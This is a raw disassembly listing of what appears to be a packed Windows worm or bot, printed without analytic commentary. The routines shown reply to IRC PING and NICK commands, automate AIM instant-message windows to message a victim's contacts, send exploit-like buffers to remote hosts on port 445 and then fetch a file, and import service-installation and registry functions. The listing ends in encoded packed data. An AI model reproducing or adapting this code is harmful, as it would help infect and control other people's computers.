loc_405349:				; CODE XREF: MEW:00405329j
		mov	eax, [ebp-8]
		lea	eax, [ebp+eax-538h]
		sub	eax, [ebp-59Ch]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		inc	eax
		push	eax
		push	dword ptr [ebp-59Ch]
		lea	eax, [ebp-538h]
		push	eax
		call	sub_40392B
		jmp	short loc_40537B
; ---------------------------------------------------------------------------


loc_405375:				; CODE XREF: MEW:00405347j
		jmp	short loc_405308
; ---------------------------------------------------------------------------


loc_405377:				; CODE XREF: MEW:00405313j
		and	dword ptr [ebp-8], 0


loc_40537B:				; CODE XREF: MEW:00405373j
		jmp	loc_4052AC
; ---------------------------------------------------------------------------


loc_405380:				; CODE XREF: MEW:004052B3j
					; MEW:004052E2j
		push	dword_4014D0
		call	dword_401140	; closesocket
		xor	eax, eax


loc_40538E:				; CODE XREF: MEW:004051D7j
					; MEW:0040521Bj
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405394	proc near		; CODE XREF: MEW:00405337p

var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_4053D1
		push	20h
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40395A
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4053C2
		jmp	locret_40553B
; ---------------------------------------------------------------------------


loc_4053C2:				; CODE XREF: sub_405394+27j
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_4053D7
; ---------------------------------------------------------------------------


loc_4053D1:				; CODE XREF: sub_405394+12j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_4053D7:				; CODE XREF: sub_405394+3Bj
		push	20h
		push	[ebp+var_8]
		call	sub_40395A
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4053F1
		jmp	locret_40553B
; ---------------------------------------------------------------------------
		db 0EBh
		db 0Dh
; ---------------------------------------------------------------------------


loc_4053F1:				; CODE XREF: sub_405394+54j
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	offset aPing	; "PING"
		push	[ebp+var_8]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	short loc_40544E
		push	[ebp+var_4]
		push	offset aPong_500s ; "PONG %.500s\r\n"
		lea	eax, [ebp+var_208]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		push	0
		push	[ebp+var_20C]
		lea	eax, [ebp+var_208]
		push	eax
		push	dword_4014D0
		call	dword_401130	; send
		jmp	locret_40553B
; ---------------------------------------------------------------------------


loc_40544E:				; CODE XREF: sub_405394+7Aj
		push	offset a433	; "433"
		push	[ebp+var_8]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	locret_40553B
		call	dword_4010A4	; GetTickCount
		mov	[ebp+var_228], eax
		mov	eax, [ebp+var_228]
		and	eax, 3
		add	eax, 5
		mov	[ebp+var_224], eax
		call	dword_4010A4	; GetTickCount
		mov	[ebp+var_228], eax
		and	[ebp+var_210], 0
		jmp	short loc_4054A4
; ---------------------------------------------------------------------------


loc_405497:				; CODE XREF: sub_405394+15Aj
		mov	eax, [ebp+var_210]
		inc	eax
		mov	[ebp+var_210], eax


loc_4054A4:				; CODE XREF: sub_405394+101j
		mov	eax, [ebp+var_210]
		cmp	eax, [ebp+var_224]
		jnb	short loc_4054F0
		mov	eax, [ebp+var_228]
		xor	eax, 54287D75h
		mov	[ebp+var_228], eax
		mov	eax, [ebp+var_228]
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp+var_210]
		mov	[ebp+eax+var_220], dl
		mov	eax, [ebp+var_228]
		shr	eax, 1
		mov	[ebp+var_228], eax
		jmp	short loc_405497
; ---------------------------------------------------------------------------


loc_4054F0:				; CODE XREF: sub_405394+11Cj
		mov	eax, [ebp+var_210]
		mov	[ebp+eax+var_220], 0
		lea	eax, [ebp+var_220]
		push	eax
		push	offset aNick_16s ; "NICK %.16s\n"
		lea	eax, [ebp+var_208]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		push	0
		push	[ebp+var_20C]
		lea	eax, [ebp+var_208]
		push	eax
		push	dword_4014D0
		call	dword_401130	; send

locret_40553B:				; CODE XREF: sub_405394+29j
					; sub_405394+56j ...
		leave
		retn	4
sub_405394	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40553F	proc near		; CODE XREF: sub_403062+2A6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	0
		push	offset a_oscar_statusn ; "_Oscar_StatusNotify"
		call	dword_4010EC	; FindWindowA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_405560
		jmp	locret_405724
; ---------------------------------------------------------------------------


loc_405560:				; CODE XREF: sub_40553F+1Aj
		push	0
		push	4E23h
		push	111h
		push	[ebp+var_8]
		call	dword_4010FC	; SendMessageA
		push	0
		push	[ebp+var_8]
		call	dword_4010F8	; GetWindowThreadProcessId
		mov	[ebp+var_1C], eax
		and	[ebp+var_14], 0


loc_405587:				; CODE XREF: sub_40553F:loc_4055FBj
		push	0
		push	offset a32770	; "#32770"
		push	[ebp+var_14]
		push	0
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4055A7
		jmp	locret_405724
; ---------------------------------------------------------------------------


loc_4055A7:				; CODE XREF: sub_40553F+61j
		push	0
		push	[ebp+var_14]
		call	dword_4010F8	; GetWindowThreadProcessId
		cmp	eax, [ebp+var_1C]
		jnz	short loc_4055FB
		push	0
		push	offset a32770	; "#32770"
		push	0
		push	[ebp+var_14]
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4055D7
		jmp	locret_405724
; ---------------------------------------------------------------------------


loc_4055D7:				; CODE XREF: sub_40553F+91j
		push	0
		push	offset a_oscar_tree ; "_Oscar_Tree"
		push	0
		push	[ebp+var_C]
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_4055F9
		jmp	locret_405724
; ---------------------------------------------------------------------------
		db 0EBh
		db 2
; ---------------------------------------------------------------------------


loc_4055F9:				; CODE XREF: sub_40553F+B1j
		jmp	short loc_4055FD
; ---------------------------------------------------------------------------


loc_4055FB:				; CODE XREF: sub_40553F+76j
		jmp	short loc_405587
; ---------------------------------------------------------------------------


loc_4055FD:				; CODE XREF: sub_40553F:loc_4055F9j
		push	0
		push	0
		push	18Bh
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		mov	[ebp+var_10], eax
		push	0
		push	[ebp+var_10]
		push	186h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	25h
		push	100h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	25h
		push	101h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	0
		push	18Bh
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40566F
; ---------------------------------------------------------------------------


loc_405668:				; CODE XREF: sub_40553F+16Dj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax


loc_40566F:				; CODE XREF: sub_40553F+127j
		cmp	[ebp+var_4], 0
		jl	short loc_4056AE
		push	0
		push	[ebp+var_4]
		push	186h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	27h
		push	100h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	27h
		push	101h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		jmp	short loc_405668
; ---------------------------------------------------------------------------


loc_4056AE:				; CODE XREF: sub_40553F+134j
		push	0
		push	0
		push	18Bh
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		mov	[ebp+var_10], eax
		and	[ebp+var_4], 0
		jmp	short loc_4056D0
; ---------------------------------------------------------------------------


loc_4056C9:				; CODE XREF: sub_40553F+1E3j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4056D0:				; CODE XREF: sub_40553F+188j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jge	short locret_405724
		push	0
		push	[ebp+var_4]
		push	186h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	20h
		push	100h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	0
		push	20h
		push	101h
		push	[ebp+var_18]
		call	dword_4010FC	; SendMessageA
		push	[ebp+arg_0]
		call	sub_405728
		push	7D0h
		call	dword_4010DC	; Sleep
		jmp	short loc_4056C9
; ---------------------------------------------------------------------------

locret_405724:				; CODE XREF: sub_40553F+1Cj
					; sub_40553F+63j ...
		leave
		retn	4
sub_40553F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405728	proc near		; CODE XREF: sub_40553F+1D3p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h


loc_40572E:				; CODE XREF: sub_405728+E9j
		push	offset aInstantMessage ; "Instant Message"
		push	offset aAim_imessage ; "AIM_IMessage"
		push	0
		push	0
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	locret_405816
		and	[ebp+var_C], 0


loc_405753:				; CODE XREF: sub_405728:loc_4057AAj
		push	0
		push	offset aWndate32class ;	"WndAte32Class"
		push	[ebp+var_C]
		push	[ebp+var_4]
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4057AC
		push	0
		push	offset aCbclass	; "CBClass"
		push	0
		push	[ebp+var_C]
		call	dword_4010F4	; FindWindowExA
		test	eax, eax
		jz	short loc_4057AA
		push	0
		push	offset aAte32class ; "Ate32Class"
		push	0
		push	[ebp+var_C]
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_10], eax
		push	[ebp+arg_0]
		push	0
		push	0Ch
		push	[ebp+var_10]
		call	dword_4010FC	; SendMessageA


loc_4057AA:				; CODE XREF: sub_405728+5Bj
		jmp	short loc_405753
; ---------------------------------------------------------------------------


loc_4057AC:				; CODE XREF: sub_405728+45j
		and	[ebp+var_8], 0


loc_4057B0:				; CODE XREF: sub_405728:loc_405800j
		push	0
		push	offset a_oscar_iconbtn ; "_Oscar_IconBtn"
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4010F4	; FindWindowExA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_405802
		push	[ebp+var_8]
		call	dword_401100	; GetMenu
		cmp	eax, 199h
		jnz	short loc_405800
		push	0
		push	0
		push	201h
		push	[ebp+var_8]
		call	dword_4010FC	; SendMessageA
		push	0
		push	0
		push	202h
		push	[ebp+var_8]
		call	dword_4010FC	; SendMessageA


loc_405800:				; CODE XREF: sub_405728+B2j
		jmp	short loc_4057B0
; ---------------------------------------------------------------------------


loc_405802:				; CODE XREF: sub_405728+A2j
		push	0
		push	0
		push	10h
		push	[ebp+var_4]
		call	dword_4010FC	; SendMessageA
		jmp	loc_40572E
; ---------------------------------------------------------------------------

locret_405816:				; CODE XREF: sub_405728+21j
		leave
		retn	4
sub_405728	endp

; ---------------------------------------------------------------------------


loc_40581A:				; DATA XREF: sub_403B95+2A9o
		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	dword ptr [ebp+8]
		call	sub_40587E
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_405878
		cmp	dword_40167C, 0
		jnz	short loc_405878
		cmp	dword ptr [ebp-4], 1
		jnz	short loc_405849
		mov	dword ptr [ebp-4Ch], offset dword_402598
		jmp	short loc_405850
; ---------------------------------------------------------------------------


loc_405849:				; CODE XREF: MEW:0040583Ej
		mov	dword ptr [ebp-4Ch], offset dword_402594


loc_405850:				; CODE XREF: MEW:00405847j
		push	dword ptr [ebp-4Ch]
		push	dword ptr [ebp+8]
		call	dword_401164	; inet_ntoa
		push	eax
		push	offset dword_402584
		lea	eax, [ebp-48h]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp-48h]
		push	eax
		call	sub_402C53


loc_405878:				; CODE XREF: MEW:0040582Fj
					; MEW:00405838j
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40587E	proc near		; CODE XREF: MEW:00405823p

var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_1A], 0BD01h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		push	6
		push	1
		push	2
		call	dword_401160	; socket
		mov	[ebp+var_8], eax
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		call	dword_40112C	; connect
		push	89h
		push	offset dword_4020B8
		push	[ebp+var_8]
		call	sub_4059B4
		push	0A8h
		push	offset dword_402148
		push	[ebp+var_8]
		call	sub_4059B4
		push	0DEh
		push	offset dword_4021F8
		push	[ebp+var_8]
		call	sub_4059B4
		mov	[ebp+var_20], al
		cmp	[ebp+var_20], 30h
		jz	short loc_405904
		cmp	[ebp+var_20], 31h
		jz	short loc_4058FB
		jmp	short loc_40590A
; ---------------------------------------------------------------------------


loc_4058FB:				; CODE XREF: sub_40587E+79j
		mov	[ebp+var_C], 1
		jmp	short loc_40591A
; ---------------------------------------------------------------------------


loc_405904:				; CODE XREF: sub_40587E+73j
		and	[ebp+var_C], 0
		jmp	short loc_40591A
; ---------------------------------------------------------------------------


loc_40590A:				; CODE XREF: sub_40587E+7Bj
		push	[ebp+var_8]
		call	dword_401140	; closesocket
		xor	eax, eax
		jmp	locret_4059B0
; ---------------------------------------------------------------------------


loc_40591A:				; CODE XREF: sub_40587E+84j
					; sub_40587E+8Aj
		push	3Eh
		push	offset dword_4022D8
		push	[ebp+var_8]
		call	sub_4059B4
		push	60h
		push	offset dword_402318
		push	[ebp+var_8]
		call	sub_4059B4
		push	0A0h
		push	offset dword_402380
		push	[ebp+var_8]
		call	sub_4059B4
		call	dword_4010A4	; GetTickCount
		and	eax, 0FFFFh
		mov	word ptr [ebp+var_4], ax
		cmp	[ebp+var_C], 1
		jnz	short loc_40596C
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4059EF
		jmp	short loc_405977
; ---------------------------------------------------------------------------


loc_40596C:				; CODE XREF: sub_40587E+DFj
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_405AE6


loc_405977:				; CODE XREF: sub_40587E+ECj
		push	800h
		call	dword_4010DC	; Sleep
		push	[ebp+var_8]
		call	dword_401140	; closesocket
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_405BB6
		test	eax, eax
		jnz	short loc_4059A0
		xor	eax, eax
		jmp	short locret_4059B0
; ---------------------------------------------------------------------------
		dw 10EBh
; ---------------------------------------------------------------------------


loc_4059A0:				; CODE XREF: sub_40587E+11Aj
		cmp	[ebp+var_C], 1
		jnz	short loc_4059AD
		xor	eax, eax
		inc	eax
		jmp	short locret_4059B0
; ---------------------------------------------------------------------------
		db 0EBh
		db 3
; ---------------------------------------------------------------------------


loc_4059AD:				; CODE XREF: sub_40587E+126j
		push	2
		pop	eax

locret_4059B0:				; CODE XREF: sub_40587E+97j
					; sub_40587E+11Ej ...
		leave
		retn	4
sub_40587E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059B4	proc near		; CODE XREF: sub_40587E+43p
					; sub_40587E+55p ...

var_600		= byte ptr -600h
var_5BC		= byte ptr -5BCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 600h
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_401130	; send
		push	0
		push	600h
		lea	eax, [ebp+var_600]
		push	eax
		push	[ebp+arg_0]
		call	dword_40113C	; recv
		mov	al, [ebp+var_5BC]
		leave
		retn	0Ch
sub_4059B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059EF	proc near		; CODE XREF: sub_40587E+E7p

var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_2F2		= byte ptr -2F2h
var_2E		= byte ptr -2Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 37Ch
		push	86h
		push	offset dword_402428
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40392B
		lea	eax, [ebp+var_2F2]
		mov	[ebp+var_4], eax
		push	dword_401F2C
		push	offset dword_401F30
		push	[ebp+var_4]
		call	sub_40392B
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+arg_4]
		mov	[eax+100h], cx
		push	41h
		mov	eax, 264h
		sub	eax, dword_401F2C
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, dword_401F2C
		push	eax
		call	sub_403901
		mov	eax, [ebp+var_4]
		add	eax, 264h
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_37C]
		mov	dword ptr [eax], 2080Ah
		mov	eax, [ebp+var_37C]
		mov	dword ptr [eax+0Ch], 20804h
		mov	eax, [ebp+var_37C]
		mov	dword ptr [eax+30h], 20804h
		mov	eax, [ebp+var_37C]
		mov	dword ptr [eax+3Ch], 20804h
		push	20h
		push	offset dword_4024B0
		lea	eax, [ebp+var_2E]
		push	eax
		call	sub_40392B
		push	0
		push	36Ah
		lea	eax, [ebp+var_378]
		push	eax
		push	[ebp+arg_0]
		call	dword_401130	; send
		push	400h
		call	dword_4010DC	; Sleep
		push	0
		push	36Ah
		lea	eax, [ebp+var_378]
		push	eax
		push	[ebp+arg_0]
		call	dword_401130	; send
		leave
		retn	8
sub_4059EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AE6	proc near		; CODE XREF: sub_40587E+F4p

var_4DC		= dword	ptr -4DCh
var_4D8		= byte ptr -4D8h
var_452		= byte ptr -452h
var_2A		= byte ptr -2Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4DCh
		push	86h
		push	offset dword_4024D8
		lea	eax, [ebp+var_4D8]
		push	eax
		call	sub_40392B
		lea	eax, [ebp+var_452]
		mov	[ebp+var_4DC], eax
		push	90h
		mov	eax, 3E8h
		sub	eax, dword_401F28
		push	eax
		push	[ebp+var_4DC]
		call	sub_403901
		mov	eax, 3E8h
		sub	eax, dword_401F28
		add	eax, [ebp+var_4DC]
		mov	[ebp+var_4], eax
		push	dword_401F28
		push	offset dword_401D90
		push	[ebp+var_4]
		call	sub_40392B
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+arg_4]
		mov	[eax+104h], cx
		and	[ebp+var_8], 0
		jmp	short loc_405B6F
; ---------------------------------------------------------------------------


loc_405B68:				; CODE XREF: sub_405AE6+A3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_405B6F:				; CODE XREF: sub_405AE6+80j
		cmp	[ebp+var_8], 10h
		jnb	short loc_405B8B
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4DC]
		mov	dword ptr [ecx+eax*4+3E8h], 20804h
		jmp	short loc_405B68
; ---------------------------------------------------------------------------


loc_405B8B:				; CODE XREF: sub_405AE6+8Dj
		push	20h
		push	offset dword_402560
		lea	eax, [ebp+var_2A]
		push	eax
		call	sub_40392B
		push	0
		push	4CEh
		lea	eax, [ebp+var_4D8]
		push	eax
		push	[ebp+arg_0]
		call	dword_401130	; send
		leave
		retn	8
sub_405AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BB6	proc near		; CODE XREF: sub_40587E+113p

var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_1C], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	ax, [ebp+arg_4]
		mov	[ebp+var_1A], ax
		push	6
		push	1
		push	2
		call	dword_401160	; socket
		mov	[ebp+var_4], eax
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_4]
		call	dword_40112C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405C00
		push	[ebp+var_4]
		call	dword_401140	; closesocket
		xor	eax, eax
		jmp	short locret_405C4A
; ---------------------------------------------------------------------------


loc_405C00:				; CODE XREF: sub_405BB6+3Bj
		push	0
		push	8000080h
		push	3
		push	0
		push	1
		push	1
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		call	dword_401098	; CreateFileA
		mov	[ebp+var_8], eax
		push	1
		push	0
		push	0
		push	0
		push	0
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_405C54
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_40105C	; CloseHandle
		push	[ebp+var_4]
		call	dword_401140	; closesocket
		mov	eax, [ebp+var_C]

locret_405C4A:				; CODE XREF: sub_405BB6+48j
		leave
		retn	8
sub_405BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_405C4E	proc near		; CODE XREF: sub_403B95+247p
					; sub_403B95+261p
		jmp	dword_40115C
sub_405C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_405C54	proc near		; CODE XREF: sub_405BB6+77p
		jmp	dword_4010E4
sub_405C54	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3B7h	dup(0)
dword_406B38	dd 40104400h, 52454B00h, 334C454Eh, 6C642E32h, 4780006Ch
					; DATA XREF: __u_____:00409348o
		dd 75437465h, 6E657272h, 6F725074h, 73736563h, 72438000h
		dd 65746165h, 6F6D6552h, 68546574h, 64616572h, 72578000h
		dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 69568000h
		dd 61757472h, 6C6C416Ch, 7845636Fh, 75448000h, 63696C70h
		dd 48657461h, 6C646E61h, 44800065h, 74656C65h, 6C694665h
		dd 80004165h, 736F6C43h, 6E614865h, 656C64h, 69615780h
		dd 726F4674h, 676E6953h, 624F656Ch, 7463656Ah, 65478000h
		dd 6F725074h, 64644163h, 73736572h, 6F4C8000h, 694C6461h
		dd 72617262h, 80004179h, 43746547h, 65727275h, 6854746Eh
		dd 64616572h, 80006449h, 57746547h, 6F646E69h, 69447377h
		dd 74636572h, 4179726Fh, 736C8000h, 656C7274h, 8000416Eh
		dd 4C746547h, 6369676Fh, 72446C61h, 53657669h, 6E697274h
		dd 417367h, 6E694680h, 6F6C4364h, 80006573h, 646E6946h
		dd 7478654Eh, 656C6946h, 46800041h, 46646E69h, 74737269h
		dd 656C6946h, 45800041h, 6E617078h, 766E4564h, 6E6F7269h
		dd 746E656Dh, 69727453h, 4173676Eh, 6C478000h, 6C61626Fh
		dd 65657246h, 6C478000h, 6C61626Fh, 6F6C6C41h, 47800063h
		dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 65724380h
		dd 46657461h, 41656C69h, 6C5F8000h, 61657263h, 5F800074h
		dd 6F6C636Ch, 80006573h, 54746547h, 436B6369h, 746E756Fh
		dd 72438000h, 65746165h, 636F7250h, 41737365h, 736C8000h
		dd 6D637274h, 80004170h, 65447349h, 67677562h, 72507265h
		dd 6E657365h, 43800074h, 74616572h, 72685465h, 646165h
		dd 74654780h, 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh
		dd 74736C80h, 79706372h, 8000416Eh, 53746547h, 65747379h
		dd 7269446Dh, 6F746365h, 417972h, 74655380h, 656C6946h
		dd 72747441h, 74756269h, 417365h, 706F4380h, 6C694679h
		dd 80004165h, 61657243h, 754D6574h, 41786574h, 65478000h
		dd 73614C74h, 72724574h, 8000726Fh, 74697845h, 636F7250h
		dd 737365h, 74654780h, 76697244h, 70795465h, 80004165h
		dd 65656C53h, 0FFFF0070h, 10ECFFFFh, 53550040h,	32335245h
		dd 6C6C642Eh, 69468000h, 6957646Eh, 776F646Eh, 43800041h
		dd 55726168h, 72657070h, 46800041h, 57646E69h, 6F646E69h
		dd 41784577h, 65478000h, 6E695774h, 54776F64h, 61657268h
		dd 6F725064h, 73736563h, 80006449h, 646E6553h, 7373654Dh
		dd 41656761h, 65478000h, 6E654D74h, 77800075h, 69727073h
		dd 4166746Eh, 0FFFFFF00h, 40110CFFh, 32535700h,	2E32335Fh
		dd 6C6C64h, 8000000h, 13000000h, 0E000000h, 41535780h
		dd 74636F49h, 6Ch, 0A00h, 57803300h, 6F534153h,	74656B63h
		dd 41h,	1400h, 300h, 1200h, 500h, 1100h, 0F00h,	200h, 7200h
		dd 100h, 0C00h,	0
		dd 900h, 700h, 9600h, 1600h, 0FFFF0B00h, 1000FFFFh, 44410040h
		dd 49504156h, 642E3233h, 80006C6Ch
aStartservicect	db 'StartServiceCtrlDispatcherA',0
aAopenservicea	db '€OpenServiceA',0
aAopenscmanager	db '€OpenSCManagerA',0
aAcloseserviceh	db '€CloseServiceHandle',0
aAdeleteservice	db '€DeleteService',0
aAsetservicesta	db '€SetServiceStatus',0
aAregisterservi	db '€RegisterServiceCtrlHandlerA',0
aAchangeservice	db '€ChangeServiceConfigA',0
aAcontrolservic	db '€ControlService',0
aAregclosekey	db '€RegCloseKey',0
aAchangeservi_0	db '€ChangeServiceConfig2A',0
aAregsetvalueex	db '€RegSetValueExA',0
aAregcreatekeya	db '€RegCreateKeyA',0
aAsetsecurityin	db '€SetSecurityInfo',0
aAstartservicea	db '€StartServiceA',0
aAcreateservice	db '€CreateServiceA',0
		db 3 dup(0FFh)
		dd 4010E4FFh, 57534D00h, 4B434F53h, 6C6C642Eh, 72548000h
		dd 6D736E61h, 69467469h, 8000656Ch, 0
MEW		ends

; ---------------------------------------------------------------------------
; Section 2. (virtual address 00007000)
; Virtual size			: 00028000 ( 163840.)
; Section size in file		: 00023600 ( 144896.)
; Offset to raw	data for section: 00007000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
__u_____	segment	para public 'CODE' use32
		assume cs:__u_____
		;org 407000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing


loc_407000:				; DATA XREF: __u_____:00407018o
		xor	ecx, ecx
		inc	ecx


loc_407003:				; CODE XREF: __u_____:00407009j
		call	dword ptr [ebx]
		adc	ecx, ecx
		call	dword ptr [ebx]
		jb	short loc_407003
		retn
; ---------------------------------------------------------------------------
dword_40700C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_41201D+31r ...
		dd 7C80ADA0h, 0
		dd offset loc_407000
		dd 400130h, 401690h, 401180h, 0F501A5B0h, 9D5B0856h, 0AB24FD8h
		dd 1F08054Eh, 23609A0Ah, 7180C3Ah, 9A6B0DAh, 0D7E5834h
		dd 4B1380Ah, 80BA0E56h,	0B9034011h, 2870510h, 1F0E0FE8h
		dd 1F16B7CCh, 684540A5h, 14259C30h, 7B03280h, 0C2FAE242h
		dd 95E00E08h, 8882819Eh, 0EECC331h, 80DA8486h, 0D9DED24Ch
		dd 74D8F8C5h, 0CFD5FADFh, 0D32FC40Ah, 0E1B0DD27h, 8323F691h
		dd 0D7C0C930h, 0D123FFC7h, 0DF023ADCh, 0D018DEAAh, 933E1802h
		dd 37381BDh, 84C4C2D5h,	0DCDC0DDh, 9EFB9C40h, 9AC09D26h
		dd 0DDD4D191h, 0ABF0F4D9h, 0C7311E06h, 0D5C28ED7h, 9E8F0895h
		dd 14B4C86Fh, 441FE7A3h, 0C347DFD4h, 0DDFF790h,	0C3D716C5h
		dd 39C6F3F1h, 0D7B3C4C8h, 3E1EE214h, 0C29FC3D9h, 0DF3EF6BEh
